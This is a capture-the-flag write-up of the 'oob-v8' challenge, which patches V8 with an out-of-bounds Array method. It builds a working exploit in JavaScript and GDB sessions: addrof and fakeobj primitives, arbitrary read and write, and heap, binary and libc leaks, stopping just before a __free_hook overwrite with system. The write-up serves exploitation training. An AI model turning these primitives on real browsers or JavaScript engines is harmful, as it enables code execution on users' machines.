# The Challenge

## The Patch

Let's first read the patch itself:

```git
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:
```

In essence, there is a new function `ArrayOob` that is implemented. We can see it's added to the array object as a `.oob()` method:

```git
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
```

There's the odd bit of other stuff thrown around for getting it working, but the actual source of the challenge is (unsurprisingly) `ArrayOob` itself (with a name like that, who would have thought?). Cleaned up a little, it looks like this:

```cpp
BUILTIN(ArrayOob){
    uint32_t len = args.length();
    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
    
    Handle<JSReceiver> receiver;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, receiver, Object::ToObject(isolate, args.receiver())
    );
    
    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
    uint32_t length = static_cast<uint32_t>(array->length()->Number());
    
    if(len == 1) {
        //read
        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
    } else {
        //write
        Handle<Object> value;
        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
            isolate, value, Object::ToNumber(isolate, args.at<Object>(1))
        );
        elements.set(length,value->Number());
        return ReadOnlyRoots(isolate).undefined_value();
    }
}
```

Familiarity with the V8 codebase is unlikely, and even if you *are* familiar with it, it's unlikely you can read it like a native language.

* It looks at the number of arguments the function takes, then stores it in `len`
  * If `len` is greater than `2`, it throws an error (note that the first argument is always `this`, so in reality it's just one).
* It then gets the array in question, stored in `array`
* `array` is cast to a `FixedDoubleArray`, an array of fixed size that stores doubles, called `elements`
  * The length of the array is stored in `length`
* If there is no argument (`len == 1`, i.e. only `this` is passed) then `elements[length]` is returned **as a number**
  * This is a clear **Out-Of-Bounds (OOB) Read**, as arrays in javascript are zero-indexed like most other programming languages
* If an argument is given, `elements[length]` is set to the `value` that is the argument cast to a Number with `Object::ToNumber`
  * This is a clear **Out-Of-Bounds (OOB) Write**, for the same reason as above

So we have a very clear OOB vulnerability, allowing both a read and a write to one index further than the maximum length of the array. This begs an important question: what exists past the end of an array?

First, let's talk about data types in V8 and how they are represented.

## Values and their Types

V8 uses **pointers**, **doubles** and **smis** (standing for **immediate small integers**). Since it has to distinguish between these values, they are all stored in memory with slight differences.

* A **double** is stored as its 64-bit binary representation (easy)
* An **smi** is a 32-bit number, but it's stored as itself left-shifted by `32` so the bottom 32 bits are null
  * &#x20;e.g. `0x12345678` is stored as `0x1234567800000000`
* A **pointer** to an address `addr` is stored as `addr | 1`, that is the least significant bit is set to `1`.
  * e.g. `0x12345678` is stored as `0x12345679`
  * This helps differentiate it from an **smi**, but not from a **double**!

[Saelo's paper](http://www.phrack.org/issues/70/9.html) refers to **pointers** as **HeapObjects** as well.

### Integers in V8

Any output you get will always be in floating-point form; this is because V8 actually *doesn't have a way to express 64-bit integers normally*. We need a way to convert floating-point outputs to hexadecimal addresses (and vice versa!). To do this, we'll use the standard approach, which is as follows:

```javascript
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}
```

You'll see these functions in most V8 exploits. They essentially just convert between interpreting data as floating-point form or as integers.

We're going to throw this into a javascript file `exploit.js`. If we want to use these functions, we can simply pass them to d8 in the command line:

```bash
./d8 --shell ./exploit.js
```

## Maps

The Map is an incredibly important V8 data structure, storing key information such as

* The dynamic type of the object (e.g. String, Uint8Array, etc)
* The size of the object in bytes
* The properties of the object and where they are stored
* The type of the array elements (e.g. unboxed doubles, tagged pointers, etc)

Each javascript object is linked to a map. While the property names are usually stored in the map, the values are stored with the object itself. This allows objects with the same sort of **structure** to **share maps**, increasing efficiency.

There are three different regions that property values can be stored

* Inside the object itself (**inline** properties)
* In a separate dynamically-sized heap buffer (**out-of-line** properties)
* If the property name is an integer index, then as array elements in a dynamically-sized heap array
  * to be honest, not entirely sure that this means, but I'll get it eventually

In the first two cases, the Map stores each property of the object with a linked **slot number**. Each object then contains all of the property values, matching with the slot number of the relevant property. The object does not store the name of the property, only the slot number.

I promise this makes sense - for example, let's take two array objects:

<pre class="language-javascript"><code class="lang-javascript"><strong>var object1 = {a: 20, b: 40};
</strong>var object2 = {a: 30, b: 60};
</code></pre>

Once this is run, memory will contain **two** `JSObject` instances and **one** `Map`:

<figure><img src="https://349224153-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MEwBGnjPgf263kl5vWP%2Fuploads%2F8F6BJdBo3m3pm3wIgDL3%2Fv8_map_object.svg?alt=media&#x26;token=f55a035e-e9d7-4a0a-acac-c3300b3913a8" alt=""><figcaption></figcaption></figure>

We can see that the `Map` stores the properties `a` and `b`, giving them the slot values `0` and `1` respectively. The two objects `object1` and `object2`, because of their identical structure, both use `Map1` as a map. The objects do not themselves know the name of the properties, only the slot values, which they assign a value to.

However, if we add another property - say `c`, with value `60` - to `object1`, they stop sharing the map:

<figure><img src="https://349224153-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MEwBGnjPgf263kl5vWP%2Fuploads%2F0wqvt8Smu5SAInnvz5NM%2Fv8_map_object_diff_map.svg?alt=media&#x26;token=5b0b1009-1be4-44ff-a7b2-55545b7de70c" alt=""><figcaption></figcaption></figure>

If we then added a property `c` to `object2`, they would then share `Map1` again! This works assigning each map something called a *transition table*, which is just a note of which map to transition to if a property of a certain name (and possibly type) are added to it. In the example above, `Map2` would make a note that if a property `c` is added to `object2` then it should transition to use `Map1`.

Let's see how this works out in memory for arrays using the `debug` version of d8, along with the incredibly helpful `%DebugPrint()` feature that comes along with it. We'll run it under `gdb` so we can analyse memory as well, and make connections between all the parts.

## What exists after the end of an Array?

Instead of creating our own objects, let's focus specifically on how it works for arrays, as that is what we are dealing with here.

```javascript
$ gdb d8 
gef➤  run --allow-natives-syntax
V8 version 7.5.0 (candidate)
d8> a = [1.5, 2.5]
[1.5, 2.5]
d8> %DebugPrint(a)
DebugPrint: 0x30b708b4dd71: [JSArray]
 - map: 0x09bccc0c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2358a3991111 <JSArray[0]>
 - elements: 0x30b708b4dd51 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
 - length: 2
 - properties: 0x3659bdb00c71 <FixedArray[0]> {
    #length: 0x0418bc0c01a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x30b708b4dd51 <FixedDoubleArray[2]> {
           0: 1.5
           1: 2.5
 }
0x9bccc0c2ed9: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x09bccc0c2e89 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x0418bc0c0609 <Cell value= 1>
 - instance descriptors #1: 0x2358a3991f49 <DescriptorArray[1]>
 - layout descriptor: (nil)
 - transitions #1: 0x2358a3991eb9 <TransitionArray[4]>Transition array #1:
     0x3659bdb04ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x09bccc0c2f29 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x2358a3991111 <JSArray[0]>
 - constructor: 0x2358a3990ec1 <JSFunction Array (sfi = 0x418bc0caca1)>
 - dependent code: 0x3659bdb002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

[1.5, 2.5]
d8>

```

That is a lot of information. Let's sift through the relevant parts.

Firstly, we notice that `a` is a type `JSArray`, stored in memory at `0x30b708b4dd70`. The array's map is stored at `0x09bccc0c2ed8`, with the properties (in this case `length`) stored at `0x3659bdb00c70`. The `elements` themselves are in a `FixedDoubleArray` stored at `0x30b708b4dd50`.

{% hint style="info" %}
Remember pointer tagging! All the addresses are represented as `addr | 1`, so we have to subtract off `1` for every pointer to get the real location!
{% endhint %}

Let's view memory itself. Hit `Ctrl-C` and you'll go to the `gef` prompt. Let's view the memory at the location of the `JSArray` object itself, `0x30b708b4dd70`.

```javascript
gef➤  x/4gx 0x30b708b4dd70
0x30b708b4dd70:	0x000009bccc0c2ed9	0x00003659bdb00c71
0x30b708b4dd80:	0x000030b708b4dd51	0x0000000200000000
```

So the `JSArray` first has its pointer to its own map, then a pointer to its properties, then a pointer to its elements and then its length (note that `length` will be an **smi**, so a length of `2` is actually represented in memory as `2<<32`!).

One thing that is very curious is that the the `elements` array is actually located `0x20` bytes ahead of memory from the `JSArray` object itself. Interesting! Let's view it:

```javascript
gef➤  x/10gx 0x000030b708b4dd50
0x30b708b4dd50:	0x00003659bdb014f9	0x0000000200000000  <- elements (map, length)
0x30b708b4dd60:	0x3ff8000000000000	0x4004000000000000  <- array entries
0x30b708b4dd70:	0x000009bccc0c2ed9	0x00003659bdb00c71  <- JSArray
0x30b708b4dd80:	0x000030b708b4dd51	0x0000000200000000
0x30b708b4dd90:	0x00003659bdb01cc9	0x0000000400000000
```

Note that `elements` itself is a `FixedDoubleArray`, so the first value will be a pointer to its map at `0x00003659bdb014f8`; this map doesn't concern us right now. The next value is the length of the `FixedDoubleArray`, the **smi** of `0x2` again. After this, it gets interesting.

As expected, the next two entries are the **doubles** representing `1.5` and `2.5`, the entries in the array:

```javascript
gef➤  p/f 0x3ff8000000000000
$1 = 1.5
gef➤  p/f 0x4004000000000000
$2 = 2.5
```

But immediately after in memory is the original `JSArray`. So? Well, if we have an OOB read/write to an extra index past the array,  the value we are accessing is the **pointer in the `JSArray` that points to the map**. We can write to and read the map of the array.

Just to confirm this is correct, we're going to run the **release** version of d8 and check the output of `.oob()`. The reason we have to use release is that the **debug** version has a lot more safety and OOB checks (I assume for fuzzing purposes) so will just break if we try to use `a.oob()`. We need to run it with `--shell exploit.js`, and you'll see why in a second.

```javascript
$ gdb d8 
gef➤  run --allow-natives-syntax --shell exploit.js
V8 version 7.5.0 (candidate)
d8> a = [1.5, 2.5]
[1.5, 2.5]
d8> a.oob()
2.28382032514e-310
```

Now we need to use our `ftoi()` function to convert it to a hexadecimal integer:

```javascript
d8> ftoi(a.oob()).toString(16)
"2a0a9af82ed9"
```

Note that `ftoi()` only exists because of the `--shell`, which is why we needed it.

If our reasoning is correct, this is a pointer to the map, which is located at `0x2a0a9af82ed9`. Let's compare with GDB tells us:

```javascript
d8> %DebugPrint(a)
0x2d83ee78e0b9 <JSArray[2]>
[1.5, 2.5]
d8> ^C
gef➤  x/4gx 0x2d83ee78e0b8
0x2d83ee78e0b8:	0x00002a0a9af82ed9	0x00000db811140c71
0x2d83ee78e0c8:	0x00002d83ee78e099	0x0000000200000000
```

The first value at the location of the `JSArray` is, as we saw earlier, the pointer to the map. Not only that, but we successfully read it! Look - it's `0x2a0a9af82ed9` again!

Now we know we can read and write to the map that the array uses. How do we go from here?

## Abusing Map Control

### Values vs Pointers

The important thing to note is that sometimes a program will store values (pass by value), and sometimes it will store a pointer to a value (pass by reference). We can abuse this functionality, because an array of doubles will store the double values themselves while an array of objects will store **pointers to the objects**.

This means there is an extra link in the chain - if we do `array[2]` on an array of doubles, V8 will go to the address in memory, read the value there, and return it. If we do `array[2]` on an array of objects, V8 will go to the address in memory, read the value there, go to **that** address in memory, and return the object placed there.

We can see this behaviour by defining two arrays, one of doubles and one of custom objects:

```javascript
var float_arr = [1.5, 2.5]
var obj1 = {a: 1, b: 2}
var obj2 = {a: 5, b: 10}
var obj_arr = [obj1, obj2]
```

```javascript
gef➤  run --allow-natives-syntax --shell exploit.js
V8 version 7.5.0 (candidate)
d8> var float_arr = [1.5, 2.5] 
undefined
d8> var obj1 = {a: 1, b: 2}
undefined
d8> var obj2 = {a: 5, b: 10}
undefined
d8> var obj_arr = [obj1, obj2]
undefined
d8> %DebugPrint(float_arr)
0x3a38af88e0c9 <JSArray[2]>
[1.5, 2.5]
d8> %DebugPrint(obj_arr)
0x3a38af8915f1 <JSArray[2]>
[{a: 1, b: 2}, {a: 5, b: 10}]
```

Break out to `gef` and see the `elements` of both arrays.

`float_arr`:

```javascript
gef➤  x/4gx 0x3a38af88e0c8
0x3a38af88e0c8:	0x0000179681882ed9	0x0000389170c80c71
0x3a38af88e0d8:	0x00003a38af88e0a9	0x0000000200000000
gef➤  x/4gx 0x00003a38af88e0a8    <-- access elements array
0x3a38af88e0a8:	0x0000389170c814f9	0x0000000200000000
0x3a38af88e0b8:	0x3ff8000000000000	0x4004000000000000
```

Again, `1.5` and `2.5` in floating-point form.

`obj_arr`:

```javascript
gef➤  x/4gx 0x3a38af8915f0
0x3a38af8915f0:	0x0000179681882f79	0x0000389170c80c71
0x3a38af891600:	0x00003a38af8915d1	0x0000000200000000
gef➤  x/4gx 0x00003a38af8915d0    <-- access elements array
0x3a38af8915d0:	0x0000389170c80801	0x0000000200000000
0x3a38af8915e0:	0x00003a38af8904f1	0x00003a38af8906b1
```

Note that the `elements` array in the second case has values `0x3a38af8904f1` and `0x3a38af8906b1`. If our suspicions are correct, they would be pointers to the objects `obj1` and `obj2`. Do `c` to continue the d8 instance, and print out the debug for the objects:

```javascript
d8> %DebugPrint(obj1)
0x3a38af8904f1 <Object map = 0x17968188ab89>
{a: 1, b: 2}
d8> %DebugPrint(obj2)
0x3a38af8906b1 <Object map = 0x17968188ab89>
{a: 5, b: 10}
```

And look - so beautifully aligned!

### Leaking Object Addresses

What  happens if we overwrite the map of an object array with the map of a float array? Logic dictates that it would **treat it as a double rather than a pointer**, resulting in a leak of the location of `obj1`! Let's try it.

```javascript
d8> var map_float = float_arr.oob()
d8> obj_arr.oob(map_float)
d8> ftoi(obj_arr[0]).toString(16)
"3a38af8904f1"
```

We leak `0x3a38af8904f1` - which is indeed the location of `obj1`! We therefore can leak the location of objects. We call this an `addrof` primitive, and we can add another function to our `exploit.js` to simplify it:

```javascript
var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();

var initial_obj = {a:1};	// placeholder object
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();

function addrof(obj) {
    obj_arr[0] = obj;			// put desired obj for address leak into index 0
    obj_arr.oob(map_float);		// change to float map
    let leak = obj_arr[0];		// read address
    obj_arr.oob(map_obj);		// change back to object map, to prevent issues down the line
    return ftoi(leak);			// return leak as an integer
}
```

{% hint style="warning" %}
Really importantly, the reason we can set `map_obj` and get the map is because `obj_arr.oob()` will return the value **as a double**, which we noted before! If it returned that object itself, the program would **crash**. You can see this in my [Download Horsepower](https://ir0nstone.gitbook.io/notes/binexp/picoctf-2021-download-horsepower#grabbing-maps) writeup.
{% endhint %}

We can load it up in d8 ourselves and compare the results:

```javascript
$ gdb d8 
gef➤  run --allow-natives-syntax --shell exploit.js
V8 version 7.5.0 (candidate)
d8> obj = {a:1}
{a: 1}
d8> %DebugPrint(obj)
0x031afef4ebe9 <Object map = 0x3658c164ab39>
{a: 1}
d8> addrof(obj).toString(16)
"31afef4ebe9"
```

Perfect, it corresponds exactly!

### Creating Fake Objects

The opposite of the `addrof` primitive is called a `fakeobj` primitive, and it works in the exact opposite way - we place a memory address at an index in the **float** array, and then change the map to that of the **object** array.

```javascript
function fakeobj(addr) {
    float_arr[0] = itof(addr);  // placed desired address into index 0
    float_arr.oob(map_obj);     // change to object map
    let fake = float_arr[0];    // get fake object
    float_arr.oob(map_float);   // swap map back
    return fake;                // return object
}
```

### Arbitrary Reads

From here, an arbitrary read is relatively simple. It's important to remember that whatever `fakeobj()` returns is an **object**, not a read! So if the data there does not form a valid object, it's useless.

The trick here is to create a float array, and then make the first index a pointer to a **map** for the float array. We are essentially **faking** an array object inside the actual array. Once we call `fakeobj()` here, we have a valid, faked array.

But why does this help? Remember that the third memory address in a `JSArray` object is an `elements` pointer, which is a pointer to the list of values actually being stored. We can modify the `elements` pointer by accessing index `2` of the real array, faking the `elements` pointer to point to a location of our choice. Accessing index `0` of the fake array will then read from the fake pointer!

\[TODO image, but not sure what exactly would help]

Because we need an index `2`, we're going to make the array of size 4, as 16-byte alignment is *typically* nice and reduces the probability of things randomly breaking.

```javascript
// array for access to arbitrary memory addresses
var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));
```

Now we want to start an `arb_read()` function. We can begin by tagging the pointer, and then placing a `fakeobj` at the address of the `arb_rw_arr`:

```javascript
function arb_read(addr) {
    // tag pointer
    if (addr % 2n == 0)
        addr += 1n;

    // place a fake object over the elements FixedDoubleArray of the valid array
    let fake = fakeobj(addrof(arb_rw_arr));
}
```

HOWEVER - this is not quite right! We want `fake` to point at the first element of the `FixedDoubleArray` `elements`, so we need an offset of 0x20 bytes back (doubles are 8 bytes of space each, and we know from before that `elements` is just ahead of the `JSArray` itself in memory), so it looks like this:

```javascript
function arb_read(addr) {
    // tag pointer
    if (addr % 2n == 0)
        addr += 1n;

    // place a fake object over the elements FixedDoubleArray of the valid array
    // we know the elements array is placed just ahead in memory, so with a length
    // of 4 it's an offset of 4 * 0x8 = 0x20 
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
}
```

Now we want to access `arb_rw_arr[2]` to overwrite the fake `elements` pointer in the fake array. We want to set this to the desired RW address `addr`, but again we need an offset! This time it's 0x10 bytes, because the first index is 0x10 bytes from the start of the object as the first 8 bytes are a map and the second 8 are the `length` smi:

```javascript
// overwrite `elements` field of fake array with address
// we must subtract 0x10 as there are two 64-bit values
// initially with the map and a size smi, so 0x10 offset
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
```

And finally we return the leak. Putting it all together:

```javascript
// array for access to arbitrary memory addresses
var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));

function arb_read(addr) {
    // tag pointer
    if (addr % 2n == 0)
        addr += 1n;

    // place a fake object over the elements FixedDoubleArray of the valid array
    // we know the elements array is placed just ahead in memory, so with a length
    // of 4 it's an offset of 4 * 0x8 = 0x20 
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);

    // overwrite `elements` field of fake array with address
    // we must subtract 0x10 as there are two 64-bit values
    // initially with the map and a size smi, so 0x10 offset
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    // index 0 will returns the arbitrary read value
    return ftoi(fake[0]);
}
```

### Arbitrary Writes

#### Initial Fail

Logic would dictate that we could equally get an arbitrary write using the same principle, by simply setting the value instead of returning it. Unfortunately, not quite - if we look at [Faith's original writeup](https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/#getting-arbitrary-read--write), the `initial_arb_write()` function fails:

```javascript
function initial_arb_write(addr, val) {
    // place a fake object and change elements, as before
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    // Write to index 0
    fake[0] = itof(BigInt(val));
}
```

{% hint style="info" %}
Note that we're not explicitly accounting for pointer tagging here. This is not because it's not important, but because the way we've set up `addrof` and `fakeobj` preserves the tagging, and since we're working with static offsets of multiples of `0x10` the tag is preserved. If we tried to **explicitly** write to a location, we would have to tag it. If we wanted to be very thorough, we would put pointer tagging explicitly in all functions.
{% endhint %}

In the blog post they tell us they're not sure why, and goes on to explain the intended method with `ArrayBuffer` backing pointers. In [a short twitter conversation we had](https://twitter.com/farazsth98/status/1737770124952940800) they tell us that

> The arbitrary write doesn't work with certain addresses due to the use of floats. The overwrite had precision loss with certain addresses, but this wasn't the case with ArrayBuffer backing pointers. The code handles that differently compared to the elements ptr.

I can confirm that running the `initial_arb_write()` does, in fact, crash with a SIGSEGV. If anybody finds a fix, I'm sure they would be very interested (and I would too).

#### ArrayBuffer Backing Pointers

An `ArrayBuffer` is simply [used to represent a generic raw binary data buffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer). We combine this with the `DataView` object to [provide a low-level interface for reading and writing multiple number types](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView). These number types includes the ever-useful `setInt64()`, which is where our reliability for handling the integers probably comes from.

The backing store of an `ArrayBuffer` is much like the `elements` of a `JSArray`, in that it points to the address of the object that actually stores the information. It's placed 0x20 bytes ahead of the `ArrayBuffer` in memory (which you can check with GDB).

We will have to use the `initial_arb_write()` to perform this singular write, and hope that the address precision is good enough (if not, we just run it again).

```javascript
function arb_write(addr, val) {
    // set up ArrayBuffer and DataView objects
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;

    // write address to backing store
    initial_arb_write(backing_store_addr, addr);
    // write data to offset 0, with little endian true
    dataview.setBigUint64(0, BigInt(val), true);
}
```

## Getting RCE

From here, it's similar to userland exploitation.

### Overwriting \_\_free\_hook() with system()

The simplest approach, as any call to `console.log()` will inevitably be freed immediately after. To do this, we'll need a libc leak.

In order for it to be reliable, it'll have to be through a section of memory allocated by V8 itself. We can use GDB to comb throught the memory of the area that stored the maps. I'm going to get `exploit.js` to print out a bunch of the addresses we have. I'll then try and retrieve every single notable address I can.

```javascript
console.log("[+] Float Map: 0x" + ftoi(map_float).toString(16))
console.log("[+] Object Map: 0x" + ftoi(map_obj).toString(16))
```

Running it multiple times, the last 4 digits are consistent, implying that they're a fixed offset:

```javascript
[+] Float Map: 0x2b1dc2e82ed9
[+] Object Map: 0x2b1dc2e82f79
```

&#x20;That bodes well. Running `vmmap`, we can find the region they are in:

```javascript
gef➤  vmmap
[...]
0x00002b1dc2e80000 0x00002b1dc2ec0000 0x0000000000000000 rw-
[...]
```

So the offsets appear to be `0x2ed9` and `0x2f79`. Let's throw that into `exploit.js` and see if that's right by running it again and again. It appears to be, but randomly there is an issue and the address is not even in assigned memory - I assume it's at least in part due to the floating-point issues.

Now we have that, let's try combing through the map region and see if there are any other interesting values at fixed offsets.

```javascript
$ gdb ./d8 
gef➤  run --allow-natives-syntax --shell exploit.js
[+] Address of Arbitrary RW Array: 0x64d2a00f499
[+] Float Map: 0x1d8734482ed9
[+] Object Map: 0x1d8734482f79
[+] Map Region Start: 0x1d8734480000
V8 version 7.5.0 (candidate)
d8> ^C
gef➤  vmmap
[...]
0x00001d8734480000 0x00001d87344c0000 0x0000000000000000 rw- 
[...]
0x0000555555554000 0x00005555557e7000 0x0000000000000000 r-- /home/andrej/Desktop/oob-v8/v8/out.gn/x64.release/d8
0x00005555557e7000 0x00005555562af000 0x0000000000293000 r-x /home/andrej/Desktop/oob-v8/v8/out.gn/x64.release/d8
0x00005555562af000 0x00005555562ef000 0x0000000000d5b000 r-- /home/andrej/Desktop/oob-v8/v8/out.gn/x64.release/d8
0x00005555562ef000 0x00005555562f9000 0x0000000000d9b000 rw- /home/andrej/Desktop/oob-v8/v8/out.gn/x64.release/d8
0x00005555562f9000 0x00005555563c6000 0x0000000000000000 rw- [heap]
[...]
0x00007ffff7005000 0x00007ffff71ec000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff71ec000 0x00007ffff73ec000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff73ec000 0x00007ffff73f0000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff73f0000 0x00007ffff73f2000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
[...]
gef➤  x/200gx 0x1d8734480000
0x1d8734480000:	0x0000000000040000	0x0000000000000004
0x1d8734480010:	0x00005555563a7f60	0x000055555631a2e0
0x1d8734480020:	0x00001d8734480000	0x0000000000040000
0x1d8734480030:	0x0000555556329b60	0x00001d8734480001
0x1d8734480040:	0x0000555556394e90	0x00001d8734480138
0x1d8734480050:	0x00001d87344c0000	0x0000000000000000
0x1d8734480060:	0x0000000000000000	0x0000000000000000
[...]
```

We can see that, very close to the start of the region, there appear to be two heap addresses (and more later). This makes sense, as many maps will point to areas of the heap as the heap stores dynamically-sized data.

That seems more useful than what we have right now, so let's grab that and see if the offset is constant. Right now, the offsets are `0xaef60` and `0x212e0`. They appear to be constant. Let's throw those leaks in too.

```javascript
let heap_leak = arb_read(map_reg_start + 0x10n);
let heap_base = heap_leak - 0xaef60n;
console.log("[+] Heap Base: 0x" + heap_base.toString(16))
```

It all seems to be pretty good, but a heap leak itself is not the most helpful. Let's keep digging, but looking at the heap this time, as that is probably more likely to store libc or binary addresses.

```javascript
gef➤  x/200gx 0x5555562f9000
0x5555562f9000 <_ZN2v85Shell15local_counters_E+2400>:	0x0000000000000000	0x0000000000000000
0x5555562f9010 <_ZN2v85Shell15local_counters_E+2416>:	0x0000000000000000	0x0000000000000000
0x5555562f9020 <_ZN2v85Shell15local_counters_E+2432>:	0x0000000000000000	0x0000000000000000
[...]
```

Ok, pretty useless. What about if we actually use the heap addresses we have, and see if there's anything useful there? The first one has nothing useful, but the second:

```javascript
gef➤  x/10gx 0x000055555631a2e0
0x55555631a2e0:	0x00005555562dbea8	0x0000000000001000
0x55555631a2f0:	0x0000000000001000	0x0000000000000021
[...]
```

The `vmmap` output for this specific run shows a binary base of `0x555555554000` and a heap base of `0x5555562f9000`. This makes the first address a binary address! Let's make sure it's a consistent offset from the base, and we're also gonna swap out our exploit to use the second heap address we spotted in the map region. And it is!

```javascript
let heap_leak = arb_read(map_reg_start + 0x18n);
let heap_base = heap_leak - 0x212e0n;
console.log("[+] Heap Base: 0x" + heap_base.toString(16));

let binary_leak = arb_read(heap_leak);
let binary_base = binary_leak - 0xd87ea8n;
console.log("[+] Binary Base: 0x" + binary_base.toString(16));
```

Now we just have to work out the GOT offset and read the entry to find libc base!

```bash
readelf -a d8 | grep -i read
[...]
000000d9a4c0  003d00000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
[...]
```

So the GOT entry is an offset of `0xd9a4c0` from base. Easy leak:

```javascript
let read_got = binary_base + 0xd9a4c0n;
console.log("[+] read@got: 0x" + read_got.toString(16));
let read_libc = arb_read(read_got);
console.log("[+] read@libc: 0x" + read_libc.toString(16));
let libc_base = read_libc - 0xbc0430n;
console.log("[+] LIBC Base: 0x" + libc_base.toString(16));
```

Then we just need to get system and free\_hook offsets, and we are good to go. Pretty easy from inside GDB:

```
gef➤  p &system
$1 = (int (*)(const char *)) 0x7ffff7054420 <__libc_system>
gef➤  p &__free_hook
$2 = (void (**)(void *, const void *)) 0x7ffff73f28e8 <__free_hook>

```

